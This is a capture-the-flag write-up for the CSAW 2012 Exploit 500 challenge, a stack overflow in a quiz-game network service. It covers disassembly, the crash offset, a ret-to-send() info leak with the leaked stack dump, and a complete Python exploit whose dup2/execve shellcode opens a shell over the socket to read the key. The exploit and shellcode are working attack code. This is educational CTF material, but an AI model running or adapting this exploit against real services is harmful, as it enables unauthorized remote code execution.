CSAW 2012 CTF - Exploit 500 Writeup

Exploit 500 is the final exploitation challenge for CSAW CTF.

It looks like a game asking questions. You get 2 tries per question.

.text:08048CF7 buffer1 = byte ptr -4B4h
.text:08048CF7 buffer2 = byte ptr -438h
.text:08048CF7 answer = byte ptr -38h
.text:08048CF7 buffer_length = dword ptr -10h

Buffer1 size is 124 bytes and Buffer2 size is 1024 butes.

.text:08048D21 mov eax, [ebp+fd]
.text:08048D24 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048D2C mov dword ptr [esp+8], 7Ch ; n
.text:08048D34 lea edx, [ebp+buffer1]
.text:08048D3A mov [esp+4], edx ; buf
.text:08048D3E mov [esp], eax ; fd
.text:08048D41 call _recv

First read in Buffer1 is 124 bytes, cannot be overflowed

.text:08048DB5 mov eax, [ebp+fd]
.text:08048DB8 mov dword ptr [esp+0Ch], 0 ; flags
.text:08048DC0 mov dword ptr [esp+8], 400h ; n
.text:08048DC8 lea edx, [ebp+buffer2]
.text:08048DCE mov [esp+4], edx ; buf
.text:08048DD2 mov [esp], eax ; fd
.text:08048DD5 call _recv

Second read in Buffer2 is 1024 bytes, cannot be overflowed. No luck so far.

.text:08048DF2 mov eax, [ebp+buffer_length]
.text:08048DF5 shr eax, 2
.text:08048DF8 mov ecx, eax
.text:08048DFA lea eax, [ebp+buffer2]
.text:08048E00 mov esi, eax
.text:08048E02 lea eax, [ebp+answer]
.text:08048E05 mov edi, eax
.text:08048E07 rep movsd

Interesting, copy buffer2 (1024 bytes maximum) into the answer buffer (40 bytes maximum), this will smack the stack.

Let’s try with a buffer dipper:

$ nc localhost 12345
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

Category: Movies **Answers can have spaces & case insensitive**

WarGames: David was playing ______ at the arcade
Answer: TOTO
WRONG. Try again. Bye.

That's too bad. Try one more time!

Answer: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

We get a crash in gdb:

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 30662]
--------------------------------------------------------------------------[regs]
EAX: 0xFFFFFFFF EBX: 0xB7FC3FF4 ECX: 0xFFFFFFC8 EDX: 0x00000009 o d I t S z a P c
ESI: 0xBFFFF2E0 EDI: 0xBFFFF6E0 EBP: 0x39624138 ESP: 0xBFFFF620 EIP: 0x41306341
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
Cannot access memory at address 0x41306341
0x41306341 in ?? ()

Calculate buffer length using the crash EIP:

$ /opt/framework-4.0.0/msf3/tools/pattern_offset.rb 0x41306341
60

Perfect! We can control EIP. Where can we jump now ?

$ eu-readelf -l challenge1b
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x000120 0x000120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x000013 0x000013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00154c 0x00154c R E 0x1000
LOAD 0x001f14 0x0804af14 0x0804af14 0x00018c 0x000194 RW 0x1000
DYNAMIC 0x001f28 0x0804af28 0x0804af28 0x0000c8 0x0000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x000044 0x000044 R 0x4
GNU_EH_FRAME 0x0012c4 0x080492c4 0x080492c4 0x000084 0x000084 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x000000 0x000000 RWE 0x4
GNU_RELRO 0x001f14 0x0804af14 0x0804af14 0x0000ec 0x0000ec R 0x1

Stack is again RWE like in Exploit 300 and 400!

Our problem is that the answer buffer is quite small, 40 bytes. But buffer2 is gigantic with 1024 bytes. So our strategy will be to do an infoleak to get the offset of our shellcode stored in buffer2.

We will fake parameters pushed on the stack and then call send() to get a dump of the stack layout and locate our shellcode.

Our payload will be as follow:

[TOTO\N][‘A’ * 60][EIP send()][FD][OFFSET][LENGTH][FLAGS][NOP][SHELLCODE]

We will get a stack dump and then we can look for the nopsled into it to locate the start of our shellcode:

WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game

'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: ______ was the game Joshua needed to play to learn\n"not to play is the best option".\nAnswer: '
INFOLEAK
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'H\xcb\xfd\xb7\xf4\xef\xff\xb7\xd0\xfa\xff\xb7$\xf1\xff\xbf\xe0\xf0\xff\xbf\xc9~\xfe\xb7\xc0\xf0\xff\xbfl\x83\x04\x08\xa8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\xc8\xf0\xff\xbft\xfa\xff\xb7\x00\x00\x00\x00H\xcb\xfd\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x18\xf9\xff\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xf8\x83\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00D\xf1\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x18\xf9\xff\xb7\xb5\x83\x04\x08\x00\x00\x00\x00\xa8\x94\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00\x98_\xe3\xb7X\xc8\xfd\xb7\x00\x00\x00\x00\xf4\xef\xff\xb7\x18\xf9\xff\xb7\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7H\xcb\xfd\xb7\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x8b\xc2\xfe\xb7\xd0\xfa\xff\xb7\x00\x00\x00\x00\x8c\x83\x04\x08d\xb0\x04\x08\x00\x00\x00\x00\xbf]\xee\xb7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00AAAA\xf4/\xfd\xb7d\xf1\xff\xbfq\xe5\xf1\xb7\x90\x86\x04\x08\x04\x00\x00\x00\x00\xf0\xff\xbf\xff\x0f\x00\x00@\x00\x00\x001\xc01\xdb1\xc9\xb1\x03\xfe\xc9\xb0?\xb3\x04\xcd\x80u\xf61\xc0Ph//shh/bin\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x801\xc0@V\x88\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10|\xf2\xff\xbf\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\xdb\x9d^\x17\x8d\xf6\x00\x00\x00\x00\x00\x00\x00\x00\x02\x0009\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x00p\xd2\xfe\xb7\x00\x00\x00\x00x\xf2\xff\xbfO\x88\x04\x08\xb0\x8e\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xb4\xe4\xb7\x01\x00\x00\x00\x14\xf3\xff\xbf\x1c\xf3\xff\xbfX\xc8\xfd\xb7\x00\x00\x00\x00\x1c\xf3\xff\xbf\x1c\xf3\xff\xbf\x00\x00\x00\x00\x8c\x83\x04\x08\xf4/\xfd\xb7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xcc\x86\rh\xdc\xa2\x81^\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xa0&\xff\xb7\xe9\xb3\xe4\xb7\xf4\xef\xff\xb7\x01\x00\x00\x00\x90\x87\x04\x08\x00\x00\x00\x00\xb1\x87\x04\x08D\x88\x04\x08\x01\x00\x00\x00\x14\xf3\xff\xbf\xb0\x8e\x04\x08 \x8f\x04\x08p\xd2\xfe\xb7\x0c\xf3\xff\xbf\x18\xf9\xff\xb7\x01\x00\x00\x00=\xf4\xff\xbf\x00\x00\x00\x00J\xf4\xff\xbfV\xf4\xff\xbff\xf4\xff\xbfq\xf4\xff\xbf\x92\xf9\xff\xbf\xa1\xf9\xff\xbf\xaf\xf9\xff\xbf\xa4\xfe\xff\xbf\xb2\xfe\xff\xbf\xc7\xfe\xff\xbf\x14\xff\xff\xbf*\xff\xff\xbf:\xff\xff\xbfK\xff\xff\xbfS\xff\xff\xbfh\xff\xff\xbfy\xff\xff\xbf\x87\xff\xff\xbf\x90\xff\xff\xbf\xb0\xff\xff\xbf\xbe\xff\xff\xbf\xe0\xff\xff\xbf\x00\x00\x00\x00 \x00\x00\x00\x14\xd4\xfd\xb7!\x00\x00\x00\x00\xd0\xfd\xb7\x10\x00\x00\x00\xff\xfb\xeb\x0f\x06\x00\x00\x00\x00\x10\x00\x00\x11\x00\x00\x00d\x00\x00\x00\x03\x00\x00\x004\x80\x04\x08\x04\x00\x00\x00 \x00\x00\x00\x05\x00\x00\x00\t\x00\x00\x00\x07\x00\x00\x00\x00\xe0\xfd\xb7\x08\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x90\x87\x04\x08\x0b\x00\x00\x00\xe9\x03\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\xe9\x03\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x1b\xf4\xff\xbf\x1f\x00\x00\x00\xef\xff\xff\xbf\x0f\x00\x00\x00+\xf4\xff\xbf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x17\xa9R\xd4C\xf4\xcb\xd9\x04\xdd\x8ds\xb0\xcbRfi686\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00./challenge1\x00TERM=screen\x00SHELL=/bin/bash\x00USER=csaw1\x00LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;3'
Found shellcode at 0xbffff174L

Easy. We can now exploit this by using 0xbffff174 as the EIP in the payload:

len shellcode= 46
WELCOME TO THE CSAW CTF 2012 fill-in-the-damn-blank game
'Category: Movies\t **Answers can have spaces & case insensitive**\n\nWarGames: The password David used to access the school computers was _____\nAnswer: '
"WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "
'key{Something_different_from_strcpy}'

Exploit code:

import socket
import struct
from struct import pack
import time
import sys

host = sys.argv[1]
infoleak = int(sys.argv[2])

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

print "len shellcode=", len(shellcode)

# challenge box
esp = 0xbffff174
# local gdb
#esp = 0xbffff234

if infoleak == 1:
ret = pack("<I", 0x08048780) # _send
else:
ret = pack("<I", esp)

size = 0xfff
offset = 0xbffff000

ebp = pack("<I", esp)

if infoleak == 0:
payload = ebp * (60/4) + ret
else:
payload = 'A' * 60 + ret

payload += pack('L', 0x8048690) # exit

payload += pack('L', 0x4) # fd
payload += pack('L', offset)
payload += pack('L', size) # len
payload += pack('L', 0x40) # flags

payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,12345))

data = s.recv(1024)
print data

s.send("TOTO\n")
time.sleep(1)
s.send(payload)
time.sleep(1)
s.send("\ncat key\n")

data = s.recv(256) # discard

print repr(data)

data = s.recv(len("WRONG. Try again. Bye.\n\nThat's too bad. Try one more time!\n\nAnswer: "))

print repr(data)

if infoleak == 0:
while True:
stack = s.recv(size)
print repr(stack)
if not stack:
break
sys.exit(0)

stack = s.recv(size)

print repr(stack)

for i in xrange(0, size - 1):
if stack[i] == '\x31' and stack[i+1] == '\xc0':
print "Found shellcode at ", hex(offset + i)
break

while True:
data = s.recv(65536)
print repr(data)
if not data:
break